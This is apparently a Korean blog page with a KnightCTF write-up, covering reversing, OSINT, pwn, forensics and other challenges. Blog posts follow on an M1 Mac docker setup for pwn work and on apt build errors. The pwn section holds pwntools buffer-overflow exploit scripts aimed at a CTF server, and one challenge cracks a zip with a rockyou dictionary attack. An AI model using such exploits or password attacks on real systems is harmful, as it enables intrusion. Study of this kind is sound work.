      &v17,
      &v21,
      &v12,
      &v20,
      &v19,
      &v22,
      &v24,
      &v19,
      &v21,
      &v21,
      &v15,
      &v24,
      &v19,
      &v22,
      &v5);
  }
  else
  {
    puts(
      "\n"
      "Sorry!\n"
      "\n"
      "You have entered a wrong password! \n"
      "\n"
      "Please try with a valid one!\n"
      "\n"
      "If you don't have the password, you can buy that here at https://knightsquad.org");
  }
  return 0;
}
  1. 입력한 문자열과 abracadabrahahaha를 비교한 뒤 같으면 flag를 출력해준다.
  2. v4 ~ v24까지를 전부다 %s에 대입하여 flag를 획득해도 됨

https://user-images.githubusercontent.com/48816875/150936429-908f65f4-11da-4a78-976f-94b7b9b60812.png

The Encoder (50pts)

https://user-images.githubusercontent.com/48816875/150936558-af85d07d-3df1-40c7-b001-28f50b0e201d.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char s[52]; // [rsp+0h] [rbp-40h] BYREF
  int v6; // [rsp+34h] [rbp-Ch]
  int v7; // [rsp+38h] [rbp-8h]
  int i; // [rsp+3Ch] [rbp-4h]

  v7 = 1337;
  v6 = 0;
  puts("Welcome to the encoder");
  puts("Please give me a plain text of max 40 characters");
  fgets(s, 40, _bss_start);
  for ( i = 0; ; ++i )
  {
    v3 = countChar(s);
    if ( i >= v3 )
      break;
    v6 = s[i];
    printf("%d ", (v6 + v7));
  }
  return 0;
}

입력한 문자열의 ascii코드에 1337을 더해 반환하는 encoder

반대로 1337을 빼주면 플래그를 획득할 수 있다.

data = "1412 1404 1421 1407 1460 1452 1386 1414 1449 1445 1388 1432 1388 1415 1436 1385 1405 1388 1451 1432 1386 1388 1388 1392 1462"

enc = data.split(" ")

for i in enc:
    print(chr(int(i) - 1337), end="")

Baby Shark (50pts)

https://user-images.githubusercontent.com/48816875/150937804-85294fb9-9f96-4fa1-b935-cc57ec8ccbd5.pnghttps://user-images.githubusercontent.com/48816875/150937748-dcf534c4-73dc-4c52-8002-61911379db5e.png

jar decompiler를 통해 String.class를 보면 base64 encoding된 문자열들이 보인다.

맨 아래 인코딩문을 디코딩으로 돌리면 플래그를 획득할 수 있다.

Flag Checker (100pts)

https://user-images.githubusercontent.com/48816875/150938531-a43e4466-40c8-4365-9212-8ade9ddc53c5.png

이번에는 좀 무식한 방법을 이용하여 문제를 해결하였다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[512]; // [rsp+0h] [rbp-240h] BYREF
  char v5[51]; // [rsp+200h] [rbp-40h] BYREF
  char v6; // [rsp+233h] [rbp-Dh]
  int v7; // [rsp+234h] [rbp-Ch]
  int j; // [rsp+238h] [rbp-8h]
  int i; // [rsp+23Ch] [rbp-4h]

  strcpy(v5, "08'5[Z'Y:H3?X2K3V)?D2G3?H,N6?G$R(G]");
  printf("Give me a flag : ");
  __isoc99_scanf("%s", v4);
  for ( i = 0; v4[i]; ++i )
  {
    if ( v4[i] <= 64 || v4[i] > 90 )
    {
      if ( v4[i] <= 96 || v4[i] > 122 )
        v4[i] = v4[i];
      else
        v4[i] = -37 - v4[i];
    }
    else
    {
      v4[i] = -101 - v4[i];
    }
  }
  for ( j = 0; v4[j]; ++j )
    v4[j] -= 32;
  v7 = 0;
  v6 = 0;
  while ( v5[v7] )
  {
    if ( v5[v7] != v4[v7] )
    {
      v6 = 0;
      break;
    }
    v6 = 1;
    ++v7;
  }
  if ( v6 )
    puts("You have entered the right flag.");
  else
    puts("Sorry ! Its wrong flag.");
  return 0;
}

몇번 동적 분석을 진행하다보니 눈에 띄는 규칙성이 보여 그냥 그대로 딕셔너리로 박아주었다.

match = {
    "}" : 0x5d,
    "{" : 0x5b,
    "a" : 0x5a,
    "b" : 0x59,
    "c" : 0x58,
    "d" : 0x57,
    "e" : 0x56,
    "f" : 0x55,
    "g" : 0x54,
    "h" : 0x53,
    "i" : 0x52,
    "j" : 0x51,
    "k" : 0x50,
    "l" : 0x4f,
    "m" : 0x4e,
    "n" : 0x4d,
    "o" : 0x4c,
    "p" : 0x4b, 
    "q" : 0x4a,
    "r" : 0x49,
    "s" : 0x48,
    "t" : 0x47,
    "u" : 0x46,
    "v" : 0x45,
    "w" : 0x44,
    "x" : 0x43,
    "y" : 0x42,
    "z" : 0x41,
    "_" : 0x3f,
    "A" : 0x3a,
    "B" : 0x39,
    "C" : 0x38,
    "D" : 0x37,
    "E" : 0x36,
    "F" : 0x35,
    "G" : 0x34,
    "H" : 0x33,
    "I" : 0x32,
    "J" : 0x31,
    "K" : 0x30,
    "L" : 0x2f,
    "M" : 0x2e,
    "N" : 0x2d,
    "O" : 0x2c,
    "P" : 0x2b,
    "Q" : 0x2a,
    "R" : 0x29,
    "S" : 0x28,
    "T" : 0x27,
    "U" : 0x26,
    "V" : 0x25,
    "W" : 0x24,
    "X" : 0x23,
    "Y" : 0x22,
    "Z" : 0x21,
}

data = "08'5[Z'Y:H3?X2K3V)?D2G3?H,N6?G$R(G]"

reverse_match = dict(map(reversed, match.items()))
# print(reverse_match)

for i in data:
    # print(ord(i))
    print(reverse_match[ord(i)], end='')

'''
KCTF{aTbAsH...
'''

Knight Vault (100pts)

https://user-images.githubusercontent.com/48816875/150939022-f1c0e6e6-c1f8-4bb6-882c-acae93252211.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+Bh] [rbp-435h]
  int i; // [rsp+Ch] [rbp-434h]
  int v6; // [rsp+Ch] [rbp-434h]
  char v7[48]; // [rsp+10h] [rbp-430h] BYREF
  char v8[1016]; // [rsp+40h] [rbp-400h] BYREF
  unsigned __int64 v9; // [rsp+438h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  strcpy(v7, "*9J<qiEUoEkU]EjUc;U]EEZU`EEXU^7fFoU^7Y*_D]s");
  puts("Hello There..\nWelcome to KS Vault.");
  printf("Please enter vault password : ");
  __isoc99_scanf("%s", v8);
  for ( i = 0; v8[i]; ++i )
  {
    v8[i + 512] = v8[i] - 10;
    if ( v8[i + 512] == 65 )
      v8[i + 512] = 42;
  }
  v6 = 0;
  v4 = 0;
  while ( v7[v6] )
  {
    if ( v7[v6] != v8[v6 + 512] )
    {
      v4 = 0;
      break;
    }
    v4 = 1;
    ++v6;
  }
  if ( v4 )
    win();
  else
    puts("Wrong password !");
  return 0;
}
data = "*9J<qiEUoEkU]EjUc;U]EEZU`EEXU^7fFoU^7Y*_D]s"
datalist = [i for i in data]

for i in range(len(datalist)):
    if ord(datalist[i]) == 42:
        datalist[i] = chr(65)
    datalist[i] = chr(ord(datalist[i]) + 10)

print(''.join(datalist))

값이 65일 때 42로 변경해주고 그 외에 경우에는 -10을 해주는 연산이어서 그 반대의 코드를 짜서 해결해주었다.

Knight Switch Bank (200pts)

https://user-images.githubusercontent.com/48816875/150939624-2a790c9f-263a-4cb5-9c9e-65ab68670471.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[512]; // [rsp+0h] [rbp-430h]
  char v5[512]; // [rsp+200h] [rbp-230h] BYREF
  char v6[32]; // [rsp+400h] [rbp-30h] BYREF
  int i; // [rsp+420h] [rbp-10h]
  char v8; // [rsp+427h] [rbp-9h]
  int v9; // [rsp+428h] [rbp-8h]
  int v10; // [rsp+42Ch] [rbp-4h]

  strcpy(v6, "ZRIU]HdANdJAGDIAxIAvDDsAyDDq_");
  v10 = 0;
  v9 = 0;
  puts("-------------------------------------");
  puts("\tKnight Switch Bank");
  puts("--------------------------------------");
  puts("Welcome to Knight Switch Bank....");
  printf("Please enter your password : ");
  __isoc99_scanf("%s", v5);
  while ( v5[v10] )
  {
    if ( v5[v10] <= 64 || v5[v10] > 77 )
    {
      if ( v5[v10] <= 96 || v5[v10] > 109 )
      {
        if ( v5[v10] <= 77 || v5[v10] > 90 )
        {
          if ( v5[v10] <= 109 || v5[v10] > 122 )
            v4[v10] = v5[v10] - 32;
          else
            v4[v10] = v5[v10] - 13;
        }
        else
        {
          v4[v10] = v5[v10] - 13;
        }
      }
      else
      {
        v4[v10] = v5[v10] + 13;
      }
    }
    else
    {
      v4[v10] = v5[v10] + 13;
    }
    ++v10;
  }
  while ( v4[v9] )
    v4[v9++] += 2;
  v8 = 0;
  for ( i = 0; v6[i]; ++i )
  {
    if ( v6[i] != v4[i] )
    {
      v8 = 0;
      break;
    }
    v8 = 1;
  }
  if ( v8 )
    winner();
  else
    puts("Oh My God ! You entered a wrong password.");
  return 0;
}
data = "ZRIU]HdANdJAGDIAxIAvDDsAyDDq_"

datalist = [ord(i) - 2 for i in data]
# print(datalist)

for i in range(len(datalist)):
    if not (datalist[i] - 13 <= 64 or datalist[i] - 13 > 77): print(chr(datalist[i] - 13), end='')
    elif not (datalist[i] - 13 <= 96 or datalist[i] - 13 > 109): print(chr(datalist[i] - 13), end='')
    elif not (datalist[i] + 13 <= 77 or datalist[i] + 13 > 90): print(chr(datalist[i] + 13), end='')
    elif not(datalist[i] + 13 <= 109 or datalist[i] + 13 > 122): print(chr(datalist[i] - 13), end='')
    else: print(chr(datalist[i] + 32), end='')

OSINT

Canada Server (50pts)

https://user-images.githubusercontent.com/48816875/150942343-ad44ebb5-6cb9-4a9e-b0d6-6675c367887f.pnghttps://user-images.githubusercontent.com/48816875/150942463-b82339d5-e254-4531-a2a3-86616b56cb18.png

KCTF{192.99.167.83}

Explosion In Front Of Bank Of Spain (100pts)

https://user-images.githubusercontent.com/48816875/150942756-e3f50987-4e70-4432-b0ff-dda7d5f859b1.pnghttps://user-images.githubusercontent.com/48816875/150943008-6df26c05-f635-484f-83f0-e524bf3401f4.png

문제 이미지이다.

https://user-images.githubusercontent.com/48816875/150943252-704af097-e566-4ed2-b24d-782a67ae5768.png

이미지 검색을 통해 영화 종이의 집의 한 장면이라는 것을 알 수 있었다. 또한, 추가적인 검색을 통해 파트 3, 4의 스페인 은행은 'New Ministries'라고 알려져 있는 정부 건물을 이용했다는 것을 알게 되었다.

https://user-images.githubusercontent.com/48816875/150943906-1936a9ac-223e-4e6c-88c1-91c7577e306f.png

New Ministries를 스페인어로 하면 Nuevos Ministerios가 되며 해당 위치를 구글 맵으로 찾아보았다.

https://user-images.githubusercontent.com/48816875/150945113-ad07c540-9044-4112-98a9-3d6dea4c24e4.png

구글 맵에서 해당 사진과 유사한 사진을 쭉 훑어보던 도중 유사한 사진을 발견하여 해당 url에 등록된 좌표를 플래그로 넘겨주었더니 인증되었다.

Find The Camera (100pts)

https://user-images.githubusercontent.com/48816875/150945321-221c16f2-a079-4bb2-919e-d45a057e9b9b.pnghttps://user-images.githubusercontent.com/48816875/150945527-24ebcf7e-ac8b-4e1f-a291-a6923a95875f.png

문제 이미지이다.

https://user-images.githubusercontent.com/48816875/150946078-0ebb624a-0407-4b94-b4e3-34d8068b4878.png

이미지 검색과 함께 키워드로 camera를 주면 결과가 딱 하나 나오게 된다.

해당 사이트에 접속하면 플래그 인증에 필요한 정보를 모두 획득할 수 있다.

PWN

What's Your Name (50pts)

https://user-images.githubusercontent.com/48816875/150946283-b41a7557-1ea6-41be-9f8f-64983f0d3db7.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[60]; // [rsp+0h] [rbp-40h] BYREF
  int v5; // [rsp+3Ch] [rbp-4h]

  v5 = 0x64;
  printf("What's your name ? ");
  fflush(_bss_start);
  gets(v4, argv);
  printf("Welcome %s \n", v4);
  fflush(_bss_start);
  if ( v5 != 0x64 )
    system("cat /home/hacker/flag.txt");
  return 0;
}

단순하게 v4에 입력받는 부분에서 bof를 일으켜 v5변수를 0x64가 아닌 다른 값으로 덮어주기만 하면 되는 문제이다.

from pwn import *

payload = b'A' * 0x41

# p = process("./whats_your_name")
p = remote("159.223.166.39", 9007)

p.sendlineafter(b"name ? ", payload)

p.interactive()

Hackers Vault (100pts)

https://user-images.githubusercontent.com/48816875/150947322-fb62142c-4923-4066-bee8-20596afee6fc.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4[2]; // [rsp+0h] [rbp-10h] BYREF
  int v5; // [rsp+8h] [rbp-8h]
  int v6; // [rsp+Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("Welcome to Hackers Vault...");
  printf("Please enter your pass code : ");
  v6 = 0;
  v5 = 0;
  __isoc99_scanf("%d", v4);
  while ( v4[0] )
  {
    v4[1] = v4[0] % 10;
    v5 += v4[0] % 10;
    ++v6;
    v4[0] /= 10;
  }
  if ( v5 == 48 )
  {
    puts("\n");
    puts("Welcome to your vault...");
    puts("Your Secret : ");
    system("cat /home/hacker/flag.txt");
  }
  else
  {
    puts("Wrong pass code");
  }
  return 0;
}
cnt = 1

while(cnt):
    print(f"trying {cnt}")
    v4 = cnt
    v5 = 0
    while(v4):
        v5 += int(v4 % 10)
        v4 /= 10
    if v5 == 48:
        print(f"result : {cnt}")
        break
    else:
        print(f"error : {v5}")
        cnt += 1

C와 같은 동작을 하는 python코드를 짜 Secret값을 알아냈다.

nc 접속을 한 이후 Secret값인 399999를 입력해주면 flag를 획득할 수 있다.

What's Your Name 2 (100pts)

https://user-images.githubusercontent.com/48816875/150947711-0b0b406f-ea71-4da7-860c-d388ab8c46e1.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[208]; // [rsp+0h] [rbp-120h] BYREF
  char dest[72]; // [rsp+D0h] [rbp-50h] BYREF
  int v6; // [rsp+118h] [rbp-8h]
  int v7; // [rsp+11Ch] [rbp-4h]

  v6 = 0;
  v7 = 0;
  printf("What's your name ? ");
  fflush(_bss_start);
  fgets(s, 200, stdin);
  strcpy(dest, s);
  if ( v7 == 1413825868 && v6 == 1397445710 )
  {
    printf("I liked your name and you got enough money :D");
    system("cat /home/hacker/flag.txt");
  }
  else
  {
    printf("Sorry ! I didn't like your name and you don't have enough money. Come one earn some money.");
  }
  return 0;
}

s 버퍼에 입력을 받을 때는 길이값에 제한이 있지만 strcpy를 통해 dest로 옮겨갈때는 길이값 검증이 존재하지 않는다. 해당 취약점을 이용해 v7, v6를 덮으면 플래그를 획득할 수 있다.

from pwn import *

payload = b'A' * (80 - 8)
payload += p32(0x534B544E)
payload += p32(0x5445454C)

# p = process('./whats_your_name_two')
p = remote('159.223.166.39', 9008)
# sleep(10)

p.sendlineafter(b'name ? ', payload)

p.interactive()

놀랍게도 포너블은 이 3문제밖에 나오지 않았다...

Programming

Keep Calculating (25pts)

https://user-images.githubusercontent.com/48816875/150948780-1c4baa58-214f-4290-9fd6-ab842f525183.png

pseudo code를 실제 코드로 작성하는 방식의 문제들이었다.

'''
Let x = 1
Let y = 2
Let answer += (x * y) + xy [here xy = 12]
Repeat this calculation till you have x = 666
The final answer will be the flag when x = 666
'''

y = 2
result = 0

for i in range(1,667):
    result += (i * y) + int(str(i) + str(y))

print(result)

결과값은 2666664 이다.

MISC

Broken Datasheet (100pts)

https://user-images.githubusercontent.com/48816875/150949349-fc60b08e-c9c3-4562-94b2-d4131034acef.pngUntitled

엑셀로 열어서 Ctrl+F를 이용해 KCTF 문자열을 검색해 찾았다.

(플래그를 읽어보면 zip이 들어간걸로 보아 압축해제하고 구성 파일들을 살펴봄으로 플래그를 획득하는 방향을 기획한 것 같은데 실제로 문제풀 때 30분동안 zip으로 해제하고 아무리 찾아봐도 플래그를 찾을 수 없었다...)

Unzip Me (100pts)

https://user-images.githubusercontent.com/48816875/150949617-56d8ecab-d761-40ee-bdc9-9fe1bdb5fc40.pnghttps://user-images.githubusercontent.com/48816875/150950213-04ae567a-91cd-4e18-a92d-ed551bf94070.png

문제로 받은 tar.gz 압축파일을 압축해제하면 unzipme 파일을 준다.

https://user-images.githubusercontent.com/48816875/150950347-2a371930-ce78-4b6a-bd5b-278fd1e2dff9.png

unzipme 파일을 010editor로 열어보면 다음과 같이 압축파일이 2바이트씩 앞뒤가 바뀌어있는 것을 확인할 수 있다.

data1 = ''
data2 = ''

with open("unzipme", "rb") as f:
    data = f.read()
    for i in range(len(data)):
        if i % 2 == 0:
            data1 += chr(data[i])
        else:
            data2 += chr(data[i])

for i in range(len(data1)):
    print(data2[i] + data1[i], end='')

다음과 같이 코드를 짜면 플래그를 읽을 수 있다.

Steganography

Follow The White Rabbit (25pts)

https://user-images.githubusercontent.com/48816875/150950716-bd923bbc-fa15-462e-a97c-2dd3a9b06fe1.pnghttps://user-images.githubusercontent.com/48816875/150950868-71bbcb28-ac62-42f2-947d-a914a677533a.png

stegsolve 툴을 이용해 다음과 같은 이미지를 획득할 수 있다.

아래 모스부호로 보이는 부호가 보이기 때문에 모스부호 디코더를 이용하여 디코딩하면 플래그를 획득할 수 있다.

https://user-images.githubusercontent.com/48816875/150951347-a329a9b7-be82-4b35-ba1a-11d8bcd6e91c.png

Digital Forensics

Unknown File (50pts)

https://user-images.githubusercontent.com/48816875/150951478-55586ff8-53e2-4266-891e-47967a56e75b.pnghttps://user-images.githubusercontent.com/48816875/150951717-e04bbd74-6336-4bda-9f14-f457bf8f7ea5.png

다운 받은 파일을 010editor로 열어보면 IHDR, sRGB, pHYs 등 PNG파일을 구성하는 요소들이 보인다. 반면, PNG 헤더 시그니처인 89504E47 0D0A1A0A 중 뒷부분인 0D0A1A0A밖에 존재하지 않기 때문에 89504E47로 앞 4바이트를 바꾸어주고 사진을 열면 플래그를 획득할 수 있다.

https://user-images.githubusercontent.com/48816875/150952119-6ec3d56b-c2ac-4d25-91e7-0b6f24d62471.png

Let’s Walk Together (50pts)

https://user-images.githubusercontent.com/48816875/150952199-488da506-3e29-4883-8cfa-ca298971813f.pnghttps://user-images.githubusercontent.com/48816875/150952333-3804648b-648d-460e-baf9-9f5590609cf9.png

문제 사진을 보면 binwalk에서 제공해주는 엔트로피 그래프가 있다. binwalk를 사용하길 의도하는 문제같다.

https://user-images.githubusercontent.com/48816875/150952543-ec717383-1d23-45c0-ac22-d065cde81cd9.png

binwalk와 비슷하게 시그니처를 기반으로 파일을 카빙해주는 툴인 foremost를 이용해 파일을 카빙하면 압축파일이 나온다.

https://user-images.githubusercontent.com/48816875/150952679-d7832cb1-14f1-4100-8b3a-72d7b7d7bd3e.png

압축파일에는 비밀번호가 걸려있다.

이 압축파일을 풀 때 아무런 힌트도 없어서 좀 힘들었는데 딕셔너리 어택에 가장 많이 사용되는 rockyou.txt를 이용해 압축파일을 해제하면 된다.

https://user-images.githubusercontent.com/48816875/150953230-1f2ff641-e1bb-491a-a039-0423f37ddcf7.png

주의...

젠장 세팅 다하고 문제 좀 푸려고 하니까 gdb를 사용할수가 없다..... qemu환경에서는 gdb를 사용할 수 없다고 하는데 docker에서 qemu를 이용해 x86_64환경을 에뮬레이팅해주는 것으로 보인다... 어떻게.... 어떻게 안될까....? ㅠㅠㅠ 결국 다시 맥북은 들고다니면서 윈도우에 원격 붙어쓰는 스타벅스 입장권이 될 것 같다.....

Reference

https://velog.io/@m0ai/M1-%EB%A7%A5%EC%97%90%EC%84%9C-x8664-%EB%8F%84%EC%BB%A4-%EC%9D%B4%EB%AF%B8%EC%A7%80-%EB%B9%8C%EB%93%9C-%EC%84%A4%EC%A0%95%ED%95%98%EA%B8%B0

개요

BoB10기 2차 프로젝트기간이 끝나고 드디어 Wargame과 CTF를 할 수 있는 자유시간이 주어졌다.

그렇게 Pwnable문제를 풀려던 찰나 밥트북을 받고 썩혀지고 있던 Macbook Air M1이 생각나 초기화를 하면서 환경구성을 했다.

그리고 그렇게 M1 맥북으로 포너블을 하겠다는 집념이 생기고 말았다.

암튼

그래서 도커에 aarch64 ubuntu를 설치하고 qemu를 이용하여 x86 architecture를 돌릴 생각이었는데 어머나 세상에 그 사이 도커에서 amd64 image를 그냥 에뮬레이터로 돌려주는 기능이 나왔다고 하는게 아닌가?!!?!?! (사실 리퍼런스 글이 3월인걸 보면 거의 1년이 지나 나온지 엄청 오래되었는데..... 3월부터는 인턴하느라 정신 없었고 6월부터는 BoB한다고 이제서야 2월에 산 M1 맥북을 만져본다...)

 

그래서 이전에 heap공부를 위해 ubuntu버전별로 올려두었던 이미지를 pull로 땡겨와 돌려봤더니 너무너무너무너무 예쁘게 잘 돌아갔다.

그리하여 급하게 ubuntu:20.04 amd64 이미지를 받아 gdb-peda, pwntools, ropper를 설치한 이미지를 구축하여 push로 밀어두었다. 앞으로 계속 추가할 예정이긴 한데 혹시라도 환경 구성하기 귀찮은 사람들은 아래 명령어로 끌어다 쓰면 된다.

docker pull c0wb3ll/pwnbuntu:20.04
docker run --platform linux/amd64 -it c0wb3ll/pwnbuntu:20.04 /bin/zsh

넘모 아름답다.....

코드 수정은 vscode를 통해 docker에 붙어서 하고 있긴 한데 정작 docker cli내에서 code명령어가 안먹어서 불편함을 겪고 있다. 이것도 해결해야한다.

생각해보니 heap을 위한 pwngdb를 안깔았다.... 뭐 나중에 풀 일 있으면 추가하겠지...

나는 윈도우를 쓰다가 맥북으로 넘어와서 karabiner라는 툴을 이용해 right_command를 한영키(f13)로 옮겨서 사용하고 있다.

 

하지만 사용하다보면 매번 딜레이때문에 한영키를 누르고 바로 다음키는 한영이 바뀌지 않은채로 입력이 들어가서 스트레스를 받았다.
처음에는 그냥 사용하다가 이번에 맥북을 밀고 새로 환경을 구성하는데 구글링을 해보니 해결방법이 있었다.

다음 입력소스로 변경이 아닌 이전 입력 소스로 변경을 사용하고 있어서 딜레이가 있었기 때문에 다음 입력소스로 변경에 한영키를 두고 사용하면 한영키에 딜레이 없이 사용할 수 있다.

또한 맥북의 지우는 속도가 답답했는데 단순하게 반복입력속도와 반복지연시간을 짧게 해주면 간단하게 해결되는 문제였다.

 

컴알못의 컴퓨터 일기장...

Reference

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=noxpain&logNo=220669445505 

해결방법

에러 상황은 위 리퍼런스 블로그와 같다. ip주소가 안뜨는것... (이미 다 해결해버려서 다시 에러내고 사진찍기에는 과제하기에 바쁘다....)

 

해결 방법은 /etc/udev/rules.d/70-persistent-net.rules를 제거하면 해결된다고 한다.

위와 같은 에러가 났는데 아무리 구글링 해도 원인을 찾을 수가 없었다.

 

그래서 침착하게 다시 에러구문을 읽어봤더니 codec library가 없어서 나는 에러같았다.

 

ubuntu faad2 codec library를 검색하면 패키지 명을 알 수 있다.

 

다음과 같이 알아낸 패키지명으로 apt install을 진행해주면 된다.

 

sudo apt install libfaad-dev

추가로 똑같이 codec에러가 몇번 더 났는데 나머지도 똑같은 방법으로 해결했다.

 


수정

멍청하게도 manual대로 하지 않았다가 맞닥뜨린 에러였다.

 

Reference

https://github.com/awakecoding/FreeRDP-Manuals/blob/master/Developer/FreeRDP-Developer-Manual.markdown

에러해결

sudo apt-get install \
build-essential git-core cmake \
libssl-dev \
libx11-dev libxext-dev libxinerama-dev libxcursor-dev libxkbfile-dev \
libxv-dev libxi-dev libxdamage-dev libxrender-dev libxrandr-dev \
libasound2-dev libcups2-dev libpulse-dev \
libavutil-dev libavcodec-dev \
libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev

다음과 같이 입력하면 해결되는데 에러가 하나 껴있다.

# 옛날 매뉴얼이라 구버전 패키지 같다. 명령어를 실행하면 에러난다.
libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev

# ubuntu package를 찾아보니 1.0버전으로 되어있더라 1.0으로 받자.
libgstreamer1.0-dev libgstreamer-plugins-base1.0-dev

이 구문인데 0.10버전은 구버전이라 패키지가 사라진거 같았다. 그래서 ubuntu package를 찾아보니 1.0버전이어서 수정해서 명령어를 돌려줬더니 잘 실행되었다.

sudo apt-get install \
build-essential git-core cmake \
libssl-dev \
libx11-dev libxext-dev libxinerama-dev libxcursor-dev libxkbfile-dev \
libxv-dev libxi-dev libxdamage-dev libxrender-dev libxrandr-dev \
libasound2-dev libcups2-dev libpulse-dev \
libavutil-dev libavcodec-dev \
libgstreamer1.0-dev libgstreamer-plugins-base1.0-dev

 

앞으로 간단한 오류도 그냥 모두 정리하려고 한다. 이 글은 그 시작글이당

 

tcpdump ./configure를 진행하는도중 만난 에러가 있었다.

sudo apt-get install libpcap-dev

같은 해킹팀원 분께서 올려주셨는데 libpcap-dev 패키지를 업데이트 해주니 해결되었다.

+ Recent posts